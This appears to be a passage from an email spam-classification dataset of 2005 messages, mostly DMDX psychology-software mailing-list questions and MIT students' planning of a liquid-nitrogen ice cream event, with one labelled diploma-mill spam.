decision experiment. 1.The SPC parameters include low_cutoff, ie discard RT's faster than x milliseconds. I am proposing to set the parameter to 200ms, but this is fairly arbitrary. I found two references to this in the Discussion Archive: one used 100ms and the other 300ms. I would be interested to know of others' views/experiences with this and/or to see parameter files used for similar experiments. Also, are there any published studies to which I could refer? 2.My second question relates to how to get screen prints from DMDX. I have tried the Print Screen key with Paint, but either that does not work or I am doing something wrong! Many thanks if you are able to help. Kevin Glover University of Essex kjglov@essex.ac.uk Send instant messages to your online friends http://uk.messenger.yahoo.com ",0,1 Emily M Levesque ,"putz@mit.edu, cryofac@mit.edu","Thu, 07 Apr 2005 08:04:27 -0400",cryofac materials," Hello all - If anyone needs access to materials before 6pm (like if kitchen people need to experiment with ingredients or something) call my cell phone to be let into my room: (508) 662-2314 I'll try to have it on all day. If people want to dash around campus and advertise cryofac and look crazy in yellow jumpsuits and safety goggles, that stuff will be with me at Johnson starting at around noon. Word-of-mouth advertising is also important. Tell people to come. It'll rock. ~Em ",0,0 Kenneth Forster ,DMDX@psy1.psych.arizona.edu,"Thu, 07 Apr 2005 09:48:30 -0700",[DMDX] RE: SPC File: Low Cut-off / Screen Prints,"A low cutoff of 200 ms is usually used. This value is chosen on the basis of the fact that if subjects are told to hit any key as soon as they see something on the screen, the RT will be around 200 ms. So anything faster than that couldn't have involved normal processing. This cutoff is seldom applied in a binary classification task, but it is quite important in a naming experiment, where preliminary lip smacks or heavy breathing can trigger the VOX and produce spurious RTs of 20 ms or less. --k.i.f. -----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of KEVIN GLOVER Sent: Thursday, April 07, 2005 6:00 AM To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] SPC File: Low Cut-off / Screen Prints I need help with a couple of issues arising from my use of DMDX in a lexical decision experiment. 1.The SPC parameters include low_cutoff, ie discard RT's faster than x milliseconds. I am proposing to set the parameter to 200ms, but this is fairly arbitrary. I found two references to this in the Discussion Archive: one used 100ms and the other 300ms. I would be interested to know of others' views/experiences with this and/or to see parameter files used for similar experiments. Also, are there any published studies to which I could refer? 2.My second question relates to how to get screen prints from DMDX. I have tried the Print Screen key with Paint, but either that does not work or I am doing something wrong! Many thanks if you are able to help. Kevin Glover University of Essex kjglov@essex.ac.uk Send instant messages to your online friends http://uk.messenger.yahoo.com ",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 07 Apr 2005 10:18:33 -0700",[DMDX] Re: SPC File: Low Cut-off / Screen Prints,"At 02:00 PM 4/7/2005 +0100, you wrote: > >2.My second question relates to how to get screen prints from DMDX. I have >tried the Print Screen key with Paint, but either that does not work or I >am doing something wrong! I'd be real impressed if anything could do it. That said, if anything can HyperSnap-DX would be the product to do it with. You might have to use the DMDX For Really Bad Video Cards shortcut though. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Gerrold's Laws of Infernal Dynamics: 1. An object in motion will be heading in the wrong direction. 2. An object at rest will be in the wrong place. ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 07 Apr 2005 10:25:39 -0700",[DMDX] Re: Version 3.1.2.6,"At 04:49 PM 4/7/2005 +1000, you wrote: >Hi Jonathan, > >I've tried to download version 3.1.2.6 from >http://www.u.arizona.edu/~jforster/dmdx/ > >however it seems to deliver 3.1.2.4 > >Is there another URL or has this version not been posted yet? How interesting, somehow the batch files have decided to start uploading dmdx.zip instead of DMDX.ZIP. I've manually fixed the DMDX.ZIP image and will see what's up with the scripts shortly. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Gerrold's Laws of Infernal Dynamics: 1. An object in motion will be heading in the wrong direction. 2. An object at rest will be in the wrong place. ",0,1 Harvey Jones ,cryofac@mit.edu,"Thu, 07 Apr 2005 11:44:46 -0400",AirGas fucked up,"The dewar is already here. Dewar as in singular. It's been here since yesterday, not as I requested, and there's only one, also not as I requested. I'm going to go try to straighten things out but I might need someone to cover me on this one. I'll let you all know soon. Harvey ",0,0 Harvey Jones ,"cryofac@mit.edu, putz@mit.edu","Thu, 07 Apr 2005 12:11:29 -0400",Re: AirGas fucked up,"On Apr 7, 2005 11:44 AM, Harvey Jones wrote: > The dewar is already here. Dewar as in singular. It's been here since > yesterday, not as I requested, and there's only one, also not as I > requested. I'm going to go try to straighten things out but I might > need someone to cover me on this one. I'll let you all know soon. > > Harvey > I talked to the AirGas guy. If there's an extra dewar he can have delivered tonight, he will. Otherwise, the first dewar should be 95% full still, and we only used one + a tiny bit last year. If any of you have ready access to some ln2, we could really use a little margin. Otherwise, we'll just be conservative with what we have. John Muir conservative, not Paul Wolfowitz conservative. Call me with any emerging issues. Harvey",0,0 Harvey Jones ,"cryofac@mit.edu, putz@mit.edu","Thu, 07 Apr 2005 12:21:28 -0400",Fwd: LN2 delivery,"h0tness. ---------- Forwarded message ---------- From: John Jordan Date: Apr 7, 2005 12:18 PM Subject: LN2 delivery To: harveyJ@mit.edu The other dewar will be there later today. John",0,0 """marcos.a.ojeda"" ","florey@MIT.EDU, stickmen@MIT.EDU, putz@MIT.EDU","Thu, 07 Apr 2005 14:27:52 -0400",cryofac djs,"Ladies and Gentlemen, may i have your attention please. We're now ready for takeoff, so please fasten your seatbelts tonight at the cryofac, starting at ~8pm: ~~~ DJs -=-=- Dancing >>>> Ice Cream +-+-+-+-+-+ bring your pre-frosh and a hungry belly. DJs (in particular order): sid (1w) liquid funk, jungle marcos (5e) jungle, uk garage mark* (CruftLabs, 5e, PTZ) hardcore, gabber, hardcore gabber bring your pre-frosh!!! dance your grades away!!! --marcos *dj not confirmed... ",0,0 Emily M Levesque ,cryofac@mit.edu,"Thu, 07 Apr 2005 14:43:52 -0400",LN2 is here!!!," The second dewar is here!!! It appeared, of course, during the five minutes when I was checking my email, but it's here! I'm sticking around Johnson until 3PM-ish, so someone come take over for me in the next 20 minutes. It's pretty easy: you bring some homework and sit next to two big metal dewars. They're good company. If you want you can sit in a yellow suit and gloves. That oughta make the ""MIT is a very athletic school"" tours that have been coming through ever ten minutes a bit more entertaining... ~Em ",0,0 Benjamin W Charrow ,ec@MIT.EDU,"Thu, 07 Apr 2005 21:05:29 -0400",CRYOFAC NOW!,"Come on down to the Z-Center! Wear your EC shirts! Or, at the very least wear something you don't mind getting delicious LN2 ice cream on! ",0,0 Rob Radez ,cryofac@mit.edu,"Fri, 08 Apr 2005 02:03:33 -0400",CryoFAC Thanks,"To everyone that helped with CryoFAC in some way either tonight or in the past weeks of preparation, I would like to say thank you. CryoFAC could not have happened without everyone who was involved, and I hope that people had fun at the same time. It seemed like most of the prefrosh enjoyed themselves tonight, and hopefully they came away from the night with a good impression of MIT and EC. Again, thank you all! Rob -- Rob Radez MIT Class of 2006 rradez@mit.edu East Campus ",0,0 Rob Radez ,ladaher@mit.edu,"Fri, 08 Apr 2005 02:53:48 -0400",receipts,"hey, if you fill up your car in the next week or so, please give me the receipt. rob -- Rob Radez MIT Class of 2006 rradez@mit.edu East Campus ",0,0 Rob Radez ,"ceh@mit.edu, errhode@alum.mit.edu","Fri, 08 Apr 2005 02:54:40 -0400",receipts,"hey, i'm not sure which one of you spent money tonight for cryofac, but if you could give me the receipt for it, i'd appreciate it. thanks, rob -- Rob Radez MIT Class of 2006 rradez@mit.edu East Campus ",0,0 Emily M Levesque ,Rob Radez ,"Fri, 08 Apr 2005 07:47:02 -0400",Re: receipts,"Hey - Yeah, I've got a couple receipts from Star and Stop&Shop for groceries in the past couple days. I'll pass them off to you when I see you. Thanks :) ~Em Quoting Rob Radez : > do you have any other receipts for cryofac stuff? if you do, please give > them to me. good luck on your midterm. > > thanks, > rob > > -- > Rob Radez MIT Class of 2006 > rradez@mit.edu East Campus >",0,0 Frank Council ,"harveyj@mit.edu, rradez@mit.edu","Fri, 08 Apr 2005 11:23:04 -0400",Liquid Nitrogen tank removal,"Harvey and Rob.... Please help coordinate the removal of the liquid nitrogen tanks from the Z-Center/Johnson lobby. This needs to be taken care of immediately. I left a message with the cryogenics lab about removal....but please follow up. Thanks, Frank Frank Council Coordinator of Fraternities, Sororities, and Living Groups Massachusetts Institute of Technology W20-549 77 Massachusetts Avenue Cambridge, Massachusetts 02139-4307 fcouncil@mit.edu 617-258-9762 ",0,0 Rob Radez ,Frank Council ,"Fri, 08 Apr 2005 11:29:28 -0400",Re: Liquid Nitrogen tank removal,"I just called Airgas and they're scheduling the pickup right now. They apparently weren't sure if we were done with them. Rob On Fri, Apr 08, 2005 at 11:23:04AM -0400, Frank Council wrote: > Harvey and Rob.... > > Please help coordinate the removal of the liquid nitrogen tanks from the > Z-Center/Johnson lobby. This needs to be taken care of immediately. I > left a message with the cryogenics lab about removal....but please follow > up. > > Thanks, > Frank > > Frank Council > Coordinator of Fraternities, Sororities, and Living Groups > Massachusetts Institute of Technology > W20-549 > 77 Massachusetts Avenue > Cambridge, Massachusetts 02139-4307 > fcouncil@mit.edu > 617-258-9762 > > > > -- Rob Radez MIT Class of 2006 rradez@mit.edu East Campus ",0,0 Harvey Jones ,John Jordan ,"Fri, 08 Apr 2005 11:49:41 -0400",Re: LN2 cylinders,"On Apr 8, 2005 11:26 AM, John Jordan wrote: > > > > Harvey > > > > Are you finished with the dewars yet? Hi John, The dewars were placed in the corner of the Zesiger center lobby last night, on the side away from Vassar St. We're done with them, and thanks again for all of your assistance. Harvey",0,0 Harvey Jones ,Rob Radez ,"Fri, 08 Apr 2005 11:51:21 -0400",Re: Liquid Nitrogen tank removal,"On Apr 8, 2005 11:29 AM, Rob Radez wrote: > I just called Airgas and they're scheduling the pickup right now. They > apparently weren't sure if we were done with them. ... and I just replied to an email from the AirGas rep to let them know that we're done with them. Harvey",0,0 Erin Rhode ,Rob Radez ,"Fri, 08 Apr 2005 13:23:06 -0400",Re: receipts,"Chandler spent the money... I think it was around $77. But I don't have the receipt. On Fri, 8 Apr 2005, Rob Radez wrote: > hey, i'm not sure which one of you spent money tonight for cryofac, but > if you could give me the receipt for it, i'd appreciate it. > > thanks, > rob > > -- > Rob Radez MIT Class of 2006 > rradez@mit.edu East Campus > ",0,0 Frank Council ,Rob Radez ,"Fri, 08 Apr 2005 14:15:49 -0400",Re: Liquid Nitrogen tank removal," thank you At 11:29 AM 4/8/2005 -0400, Rob Radez wrote: >I just called Airgas and they're scheduling the pickup right now. They >apparently weren't sure if we were done with them. > >Rob > >On Fri, Apr 08, 2005 at 11:23:04AM -0400, Frank Council wrote: > > Harvey and Rob.... > > > > Please help coordinate the removal of the liquid nitrogen tanks from the > > Z-Center/Johnson lobby. This needs to be taken care of immediately. I > > left a message with the cryogenics lab about removal....but please follow > > up. > > > > Thanks, > > Frank > > > > Frank Council > > Coordinator of Fraternities, Sororities, and Living Groups > > Massachusetts Institute of Technology > > W20-549 > > 77 Massachusetts Avenue > > Cambridge, Massachusetts 02139-4307 > > fcouncil@mit.edu > > 617-258-9762 > > > > > > > > > >-- >Rob Radez MIT Class of 2006 >rradez@mit.edu East Campus Frank Council Coordinator of Fraternities, Sororities, and Living Groups Massachusetts Institute of Technology W20-549 77 Massachusetts Avenue Cambridge, Massachusetts 02139-4307 fcouncil@mit.edu 617-258-9762 ",0,0 Rob Radez ,2w-chairs@mit.edu,"Fri, 08 Apr 2005 14:41:25 -0400",cryofac reimbursements,"dudes, please don't sign any reimbursements for cryofac unless they come through me. hopefully i'll get the money transferred from admissions today and then i can get you guys to sign a raft of reimbursements next week. thanks, rob -- Rob Radez MIT Class of 2006 rradez@mit.edu East Campus ",0,0 Rob Radez ,themats@mit.edu,"Fri, 08 Apr 2005 15:14:36 -0400",[mcgann@MIT.EDU: Re: CPW Festival: East Campus Second West],"Hi Ms. Jaskela, I've attached Matt's response to and our original proposal. If the money could be transferred to account 2720000, that would be great. Thanks again, Rob Radez ----- Forwarded message from Matt McGann ----- From: Matt McGann To: rradez@mit.edu Date: Thu, 31 Mar 2005 12:09:49 -0500 Subject: Re: CPW Festival: East Campus Second West Rob, You are approved for $1991 for CryoFAC at CPW Festival. Please make all arrangements for supplies and safety directly with the appropriate parties. Let us know if you need any assistance. -- Admissions CPW >------------------------------------------------------- >CPW FESTIVAL REGISTRATION > >Sponsor: East Campus Second West >Contact Person: Rob Radez >Contact Email: rradez@mit.edu >Event Name: CryoFac > >Event Description: >----------------- >Liquid Nitrogen ice cream for everyone > >Space required: 100 ft. x 100 ft. > >Additonal utilities: >Lobby of Johnson >7 long tables >Kitchen space (chapel kitchen would be great again) >6 Electrical outlets > >Requesting funding from Admissions? Y > >Itemized Budget: >--------------- >Ice Carving: $240 > 6 blocks: $240 > >General Supplies: $486 > 4 Tarps: $120 > 9 pairs industrial rubber gloves: $90 > 9 pairs safety goggles: $45 > 4 rolls of duct tape: $10 > 6 large, strong wooden/pyrex spoons: $45 > *spoons must be durable because they break in the super cold > temperature, chandler has 10 from 2004* > 4 pots: $120 > 2 large bottles of dish soap: $10 > 10 sponges: $10 > Gel: $36 > >Serving: $200 > 1500 styrofoam bowls: $60 > 1500 spoons: $40 > 40 aluminum baking trays: $40 > 6 serving spoons: $20 > *chandler has 5 from 2004* > 2000 napkins: $20 > 1000 paper towels: $20 > >Toppings: $140 > 15 cans whipped cream: $45 > 3 large jars of sprinkles: $20 > 15 various flavors of syrup: $75 > >Ingredients: $925 > 20 gallons heavy cream: $300 > 20 gallons whole milk: $60 > 6 cubes of eggs (~540): $55 > 100 lbs. of sugar: $50 > 6 giant bottles of vanilla extract: $60 > 24 C of cocoa: $50 > Various flavorings (frozen strawberries, mangoes, >pistachio, lemon, cookie dough): $250 > LN2: $100 > >To Be Provided > 7 large tables EC > Light and Sound Equipment EC > Jumpsuits, rainslickers EC > 3 pots EC > Refrigeration & kitchen storage space > Dolly EC > Mop, cleaning supplies > Ice carving tools EC > Many Trash cans DAPER > >Ice Cream for 1200 People = Total: $1991 > > >------------------------------------------------------- >NOTE: This message was sent using a WWW form. The address >rradez@mit.edu was typed manually, and may easily be incorrect. ----- End forwarded message ----- -- Rob Radez MIT Class of 2006 rradez@mit.edu East Campus",0,0 Heinl ,"rradez@mit.edu, kblass@mit.edu","Fri, 08 Apr 2005 17:51:26 -0400",Nitrogen ,"Nitrogen Dewars have been moved to the outside of W35- front entrance. Please have these taken away ASAP- we no longer have room for these inside of the building due to the ongoing CPW events on Saturday. ""--BOC will pick up the dewars on Fri 4/8.....Matthew McGann, Assistant Director of Admissions, is the responsible adult for this event. The requisition will be signed by Rob Radez, Quinn Mahoney, Paul Abel, or Harvey Jones (depending on drop-off time)."" Amy L. Heinl Manager of Facilities & Operations Massachusetts Institute of Technology Department of Athletics, Physical Education, & Recreation 120 Vassar Street, W35-297 V Cambridge, MA 02139-7404 Ph: 617-253-3643 Cell: 617-201-5512 http://mitathletics.collegesports.com/ ",0,1 Sarah Newman ,putz@mit.edu,"Fri, 08 Apr 2005 19:29:05 -0400",mixer,"hey, you guys borrowed our mixer for cryofac which is fine, but you didn't return the box or half the attachments, which is not fine. Please do so. Sorry I'm being curt, but i'm in a really bad mood right now, -Sarah ",0,0 Rob Radez ,madmatt@mit.edu,"Fri, 08 Apr 2005 22:21:25 -0400",cryofac allergic reaction,"Matt, do you have any more info on the girl who had the allergic reaction to peanuts at the cpw festival last night? If possible (and as long as she's not allergic to pollen or something), I'd like to send her some flowers and a card apologizing for doing that to her. Thanks, Rob -- Rob Radez MIT Class of 2006 rradez@mit.edu East Campus ",0,0 Rob Radez ,Sarah Newman ,"Fri, 08 Apr 2005 22:22:08 -0400",Re: mixer,"On Fri, Apr 08, 2005 at 07:29:05PM -0400, Sarah Newman wrote: > hey, > you guys borrowed our mixer for cryofac which is fine, but you didn't > return the box or half the attachments, which is not fine. Please do so. > > Sorry I'm being curt, but i'm in a really bad mood right now, Sarah, I asked Paul (pr_abel) to look into this and get everything back to 2e that belongs to you guys. Rob -- Rob Radez MIT Class of 2006 rradez@mit.edu East Campus ",0,0 S B Cooper ,"comprox@doc.ic.ac.uk, na.digest@na-net.ornl.gov, reliable_computing@interval.louisiana.edu, arp@cines.fr, communaute@medicis.polytechnique.fr, arinews.gdr.lip@ens-lyon.fr, calmet@ira.uka.de","Sat, 09 Apr 2005 15:30:53 +0100",CiE 2005: Call for Participation,"Registration for CiE 2005 is now open. CALL FOR PARTICIPATION COMPUTABILITY IN EUROPE 2005: NEW COMPUTATIONAL PARADIGMS (CiE 2005) http://www.illc.uva.nl/CiE/ June 8 - June 12, 2005 Amsterdam, The Netherlands The organizers of CiE 2005 cordially invite researchers working in all areas of computability theory, ranging from mathematics to computer science, to participate in the conference taking place in Amsterdam in June 2005. CiE 2005 is an interdisciplinary venue for researchers from computer science and mathematics focusing on New Computational Paradigms. These include prominently connections between computation and physical systems but also higher mathematical models of computation. The researchers from the different communities will exchange ideas, approaches and techniques in their respective work, thereby generating a wider community for work on computational issues that allows uniform approaches to diverse areas, the transformation of theoretical ideas into applicable projects, and general cross-fertilization transcending disciplinary borders. There will be two three-hour tutorials, eight plenary talks, six special sessions with altogether 25 talks and over 50 contributed talks covering the entire range of research in computability theory. PLENARY TALKS: http://www.illc.uva.nl/CiE/index.php?page=12 Three-hour tutorials - Harry Buhrman (Amsterdam), Klaus Weihrauch (Hagen). Plenary talks - Samson Abramsky (Oxford), Joel D. Hamkins (New York NY), Ulrich Kohlenbach (Darmstadt), Jan van Leeuwen (Utrecht), Yuri Matiyasevich (St.Petersburg), Yiannis Moschovakis (Athens/Los Angeles CA), Gheorghe Paun (Bucharest), Uwe Schoening (Ulm). Introductory lecture - Andrew Hodges (Oxford). SPECIAL SESSIONS: http://www.illc.uva.nl/CiE/index.php?page=6 Biological Computation Organiser: Thomas Baeck (Leiden). Complexity Organiser: Elvira Mayordomo (Zaragoza). Epistemology and Methodology of Computing Organisers: Hartmut Fitz (Amsterdam) and Guglielmo Tamburrini (Pisa). Proofs and Computation Organisers: Arnold Beckmann (Swansea) and Laura Crosilla (Firenze). Real Computation Organiser: Abbas Edalat (Imperial College, London). Relative Computation Organisers: Barry Cooper (Leeds) and Andrea Sorbi (Siena). CONTRIBUTED PAPERS: http://www.illc.uva.nl/CiE/index.php?page=15 INFORMAL PRESENTATIONS: http://www.illc.uva.nl/CiE/index.php?page=17 In addition to the formal presentations based on the LNCS proceedings volume, we invite researchers to present informal presentations. For this, please send us a brief description of your talk (between one paragraph and half a page) before April 15th, 2005. Submission form: http://www.illc.uva.nl/CiE/index.php?page=_6 REGISTRATION AND ACCOMMODATION: http://www.illc.uva.nl/CiE/index.php?page=13 Regular registration (EUR 95, EUR 75 for students) will be possible until April 30th, 2005. After May 1st, 2005, there will be an option of Late Registration with higher fees. Registration form: https://www.science.uva.nl/research/illc-secure/CiE/index.php?page=10 We have reserved some rooms in Amstel Botel at a special university rate. The Amstel Botel (reservation deadline April 25th, 2005) is located at Oosterdokskade 2-4, next to the Central Station, and is a modern and luxurious floating hotel. A unique experience and an alternative way to get to know the lively city of Amsterdam. From the Botel it takes 20 minutes by tram to the conference site. IMPORTANT DATES: April 15th, 2005 - Deadline for submission of informal presentations. April 25th, 2005 - Deadline for booking at Amstel Botel. April 30th, 2005 - Deadline for regular conference registration. SPONSORSHIP: The conference is sponsored/supported by the Association for Symbolic Logic (ASL), European Association for Theoretical Computer Science (EATCS), Netherlands Organisation for Scientific Research (NWO), Royal Netherlands Academy of Arts and Sciences (KNAW). PROGRAM COMMITTEE: Klaus Ambos-Spies (Heidelberg), Albert Atserias (Barcelona), Barry Cooper (Leeds, co-chair), Sergei Goncharov (Novosibirsk), Benedikt Loewe (Amsterdam, co-chair), Dag Normann (Oslo), Helmut Schwichtenberg (Muenchen), Andrea Sorbi (Siena), Ivan Soskov (Sofia), Leen Torenvliet (Amsterdam), John Tucker (Swansea), Johan van Benthem (Amsterdam/Stanford), Peter van Emde Boas (Amsterdam), Jiri Wiedermann (Praha). ORGANISING COMMITTEE: Stefan Bold, Barry Cooper, Samson de Jager, Benedikt Loewe, Leen Torenvliet, Peter van Emde Boas, Marjan Veldhuisen. ************************************************************************* ",0,1 Heinl ,"rradez@mit.edu, harveyj@mit.edu, pr_abel@mit.edu","Sat, 09 Apr 2005 12:37:05 -0400",Re: Fwd: CPW Welcome Fair,"SATURDAY One of your dewars is now leaking and we have contacted campus police as this appears to be somewhat of an emergency. It is visibly leaking and the outside of the NITRO dewar is freezing up as well as the knobs. I have tried reaching you at 5-6219. This is the only number I have. These were to be picked up yesterday!! Please contact us ASAP At 04:13 PM 4/5/2005 -0400, Sandy Lett wrote: >>X-Sieve: CMU Sieve 2.2 >>Date: Tue, 5 Apr 2005 14:14:31 -0400 >>From: Rob Radez >>To: slett@mit.edu >>Cc: rradez@mit.edu, >>Subject: CPW Welcome Fair >>User-Agent: Mutt/1.5.6+20040907i >>X-Spam-Score: -4.9 >>X-Spam-Flag: NO >>X-Scanned-By: MIMEDefang 2.42 >> >>Good afternoon Ms. Lett, >>Matt McGann gave me your name as the person in DAPER to contact >>regarding the CPW welcome party this Thursday night. As part of this, >>for the past two years Admissions has had my hall at East Campus provide >>liquid nitrogen ice cream to the pre-frosh. Once again this year, we >>need to get two dewars of liquid nitrogen delivered early in the day and >>have one of us sitting by it until that evening, and we also need to >>setup our equipment beforehand along with borrowing some of the >>Tensa-barrier equipment from DAPER to do crowd-control. After the >>event, we need to store the dewars overnight until Airgas can come pick >>them up Friday morning. I hope that this does not cause any problems >>and I apologize for contacting you with such short notice. >> >>Regards, >>Rob Radez >> >>-- >>Rob Radez MIT Class of 2006 >>rradez@mit.edu East Campus Amy L. Heinl Manager of Facilities & Operations Massachusetts Institute of Technology Department of Athletics, Physical Education, & Recreation 120 Vassar Street, W35-297 V Cambridge, MA 02139-7404 Ph: 617-253-3643 Cell: 617-201-5512 http://mitathletics.collegesports.com/",0,1 Dwight Ferguson ,DMDX@psy1.psych.arizona.edu,"Sat, 09 Apr 2005 09:19:09 -0500",Re: Information You Requested,"Just a Reminder; Our University Enrollment department has been trying to contact you. The date for enrolling in our 2 week degree program is ending on Friday, April 28th. As of now we can only offer you a BA, BSc, or a MA. If you enroll by the due date then your degree of choice and transcripts can be sent to you within 1 week. Enrollment Office: (206) 984 - 1705 Duncan Henson BSc Education Administration Office ",1,0 Vladik Kreinovich ,"reliable_computing@interval.louisiana.edu, interval@cs.utep.edu","Sun, 10 Apr 2005 12:04:57 -0600",Congratulations ot Oscar Mondragon,"Congratulations to Oscar Mondragon and to Ann Q. Gates, his Ph.D. advisor! *********************************************** April 10, 2005 The University of Texas at El Paso has informed Oscar Mondragon that he has received a University Outstanding Dissertation Award for his interval-related 2004 Ph.D. dissertation ""Elucidation and Specification of Software Properties through Patterns and Composite Propositions to Support Formal Verification Techniques"". One of the main problems of software engineering is to verify that the software satisfies the given specifications. Traditionally, in software industry, the new software is tested on several different situations. Usually, there are so many possible situations that it is absolutely unrealistic to test the software on all of them, so, instead of testing the software on all possible situations, practitioners test software on selected situations, selected inputs that they believe to be representative. It is well known that even after the most thorough testing on such seemingly representative situations, most software package and systems retain errors. The resulting software errors (bugs, faults, etc.) lead to large losses of time and productivity, and even sometimes - to catastrophic events with loss of life. Software problems are especially important for time critical real-time systems where the software is used to make decisions that need to be made within given time. In view of this situation, one of the main objectives of software engineering is to develop formal verification techniques - techniques that would guarantee that the software works correctly on all possible situations, not just on the few selected situations on which this software was actually tested. In general, program verification is a computationally difficult task; it is known that no algorithm is possible for solving the general program verification problem. It is therefore desirable to find particular cases of program verification that would be general enough but still allow algorithmic solutions. There exist many interesting directions in developing efficient formal verification techniques, among them the direction related to the use of interval logics. The main idea behind interval logics is that, crudely speaking, if we want to guarantee that a certain property occurs for all possible values within a given interval, then, instead of testing this property for finite set of ""representative"" values from this interval (and risking that we miss the values on which the tested property does not hold), we perform all the operations with the entire interval, thus guaranteeing that this property is indeed true for all the values within this interval. In general, the interval approaches to program verification still leads to algorithmically unsolvable problems. However, several efficient formal methods have been developed, including Future Interval Logic (FIL), an approach championed by the Real Time Systems Group (RTSG) at the University of Pennsylvania, one of the world leading centers in formal verification techniques. The FIL approach has several interesting applications, but it is not yet widely used in the software engineering community, for two reasons: * first, the existing FIL formalism only captures a few simplest properties of software -- although there are examples that several more complex properties of a program can also be described in FIL and thus tested; * second, while in principle, there are algorithms for testing FIL properties, these algorithms are more of academic nature in the sense that they have not been implemented in an easy-to-use way. These two problems were the two challenges that Oscar Mondragon handled in his dissertation. As a result: * first, he drastically expanded the original FIL logic so that it now includes a large number of important software properties -- while not increasing the computationally complexity of verifying these properties; * second, he developed a user-friendly way of using FIL to verify programs: namely, he has developed a new language that enables the user to use traditional software engineering terms, and develop an efficient translation from this language into FIL; he also helped the RTSG group to enhanced the translation from the FIL specifications into Meta Event Definition Language (MEDL), the property specification language of the Monitoring and Checking system. In the process of developing his tools, Oscar also applied his software verification skills to testing the originally proposed FIL-related tools, and uncovered (and helped correct) several bugs in these well-used tools. At present, Oscar applies his expertise as a research with the Mexico-based International Software Institute in Guadalajara. ********************************************************************* Publications of Oscar Mondragon related to his dissertation: JOURNAL PUBLICATIONS 1. O. Mondragon, A. Q. Gates, and S. Roach, ""Prospec: Support for Elicitation and Formal Specification of Software Properties,"" in O. Sokolsky and M. Viswanathan (Eds. of the special issue), Electronic Notes on Theoretical Computer Science 89(2), 2004. 2. O. Mondragon and A. Q. Gates, ""Supporting Elicitation and Specification of Software Properties through Patterns and Composite Propositions,"" Intl. Journal of Software Engineering and Knowledge Engineering, 14(1), Feb. 2004. 3. A. Q. Gates and O. Mondragon, ""FasTLInC: A Constraint-based Tracing Approach,"" The Journal of Systems and Software, 63, 2002, 241-258. 4. A. Q. Gates, S. Roach, O. Mondragon, and N. Delgado, ""DynaMICs: Comprehensive Support for Run-Time Monitoring"", in Electronic Notes in Theoretical Computer Science, K. Havelund and G. Rosu (eds.), 55(2), 2001, www.elsevier.nl/locate/entc. PAPERS IN REFEREED CONFERENCE PROCEEDINGS 1. A. Q. Gates, O. Mondragon, and F. Kassem, ""Automated Support for Property Specification Based on Patterns"", Proceedings of the 15th International Conference on Software Engineering and Knowledge Engineering, July 2003, pp. 174-181. 2. A. Q. Gates, O. Mondragon, M. Payne, and S. Roach, ""Instrumentation of Intermediate Code for Runtime Verification"", Proceedings 28th Annual NASA Goddard/IEEE Software Engineering Workshop, December 2003. 3. O. Mondragon, A. Q. Gates, and S. Roach, ""Composite Propositions: Toward Support for Formal Specification of System Properties"", Proceedings 27th Annual NASA Goddard/IEEE Software Engineering Workshop, December 2002, pp. 67-74. 4. A. Q. Gates, O. Mondragon, F. Saenz, and R. Cereceres, ""The Use of Integrity Constraints to Support Tracing"", Proceedings of Software Engineering and Knowledge Engineering Conference, June 2000, 195-204. 5. A. Q. Gates, N. Delgado, and O. Mondragon, ""A Structured Approach for Managing a Practical Software Engineering Course"", Proceedings 2000 Frontiers in Education Conference, Kansas City, Mo., 2000. ",0,0 Rob Radez ,harveyj@MIT.EDU,"Sun, 10 Apr 2005 17:13:51 -0400",Re: Fwd: CPW Welcome Fair,"harvey, please please deal with this. i don't have time to nor am i in cambridge right now. i tried leaving you a voicemail last night but i guess you didn't get it. rob On Sat, Apr 09, 2005 at 12:37:05PM -0400, Heinl wrote: > SATURDAY > One of your dewars is now leaking and we have contacted campus police as > this appears to be somewhat of an emergency. It is visibly leaking and the > outside of the NITRO dewar is freezing up as well as the knobs. I have > tried reaching you at 5-6219. This is the only number I have. > These were to be picked up yesterday!! > Please contact us ASAP > > > > At 04:13 PM 4/5/2005 -0400, Sandy Lett wrote: > > >>X-Sieve: CMU Sieve 2.2 > >>Date: Tue, 5 Apr 2005 14:14:31 -0400 > >>From: Rob Radez > >>To: slett@mit.edu > >>Cc: rradez@mit.edu, > >>Subject: CPW Welcome Fair > >>User-Agent: Mutt/1.5.6+20040907i > >>X-Spam-Score: -4.9 > >>X-Spam-Flag: NO > >>X-Scanned-By: MIMEDefang 2.42 > >> > >>Good afternoon Ms. Lett, > >>Matt McGann gave me your name as the person in DAPER to contact > >>regarding the CPW welcome party this Thursday night. As part of this, > >>for the past two years Admissions has had my hall at East Campus provide > >>liquid nitrogen ice cream to the pre-frosh. Once again this year, we > >>need to get two dewars of liquid nitrogen delivered early in the day and > >>have one of us sitting by it until that evening, and we also need to > >>setup our equipment beforehand along with borrowing some of the > >>Tensa-barrier equipment from DAPER to do crowd-control. After the > >>event, we need to store the dewars overnight until Airgas can come pick > >>them up Friday morning. I hope that this does not cause any problems > >>and I apologize for contacting you with such short notice. > >> > >>Regards, > >>Rob Radez > >> > >>-- > >>Rob Radez MIT Class of 2006 > >>rradez@mit.edu East Campus > > > Amy L. Heinl > Manager of Facilities & Operations > Massachusetts Institute of Technology > Department of Athletics, Physical Education, & Recreation > 120 Vassar Street, W35-297 V > Cambridge, MA 02139-7404 > Ph: 617-253-3643 > Cell: 617-201-5512 > http://mitathletics.collegesports.com/ > -- Rob Radez MIT Class of 2006 rradez@mit.edu East Campus",0,1 Nicholas Riches ,dmdx@psy1.psych.arizona.edu,"Mon, 11 Apr 2005 13:54:39 +0100",[DMDX] Query about video,"Hi, I'm trying to use DMDX to display bitmap files. When I do a video test in TimeDX, I get a good display (for 24 bit bitmaps, but not 16bit bitmaps). However, when I use the actual program the display quality is poor for all bitmaps - coarse pixellation, plenty of wayward pixels with inappropriate colours. The computer is a DELL Inspiron 8600, and the video driver is called NVIDIA Geforce. Any advice would be greatly appreciated. Nick Riches Guys Hospital London Send instant messages to your online friends http://uk.messenger.yahoo.com ",0,1 Bruce Weaver ,DMDX@psy1.psych.arizona.edu,"Mon, 11 Apr 2005 11:31:25 -0400",[DMDX] 